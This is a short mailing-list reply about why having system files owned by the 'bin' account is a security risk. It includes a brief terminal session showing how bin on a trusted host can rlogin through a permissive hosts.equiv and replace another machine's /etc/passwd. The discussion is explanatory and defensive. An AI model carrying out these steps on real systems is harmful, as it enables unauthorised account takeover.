Re: bin ownership problem

[george () siltrain demon co uk (George Hodson)]

> > Ok, I'll expose my ignorance and ask, what is the specific vulnerability
> > of bin owned files?  I understand how it is a problem on NFS exported
> > files to insecure hosts, but what is the risk for files/dirs on a locally
> > non-exported file system?  What about groups, is bin a bad group also?
>
> The main problem I've ever had with bin owning system files and other
> user id's owning things as well (daemon, gmaes, etc) is that it's just that
> much more to watch for. With root owning all the important stuff
> it centers your attention on that userid and prevention with just one
> userid.

Also, another (similar) problem is when a host is trusted (recall
/etc/hosts.equiv comes with a default "+" on some systems).

trusted# su - bin
trusted# rlogin gotcha
gotcha$ who am i
gotcha!bin     ttyp3   May 17 08:54
gotcha$ ls -lgd /etc
drwxr-sr-x  9 bin      staff        2048 May 19 07:08 /etc
gotcha$ cd /etc;mv passwd passwd.bak
gotcha$ vi passwd    #read in passswd.old, make changes etc...

bad news!

George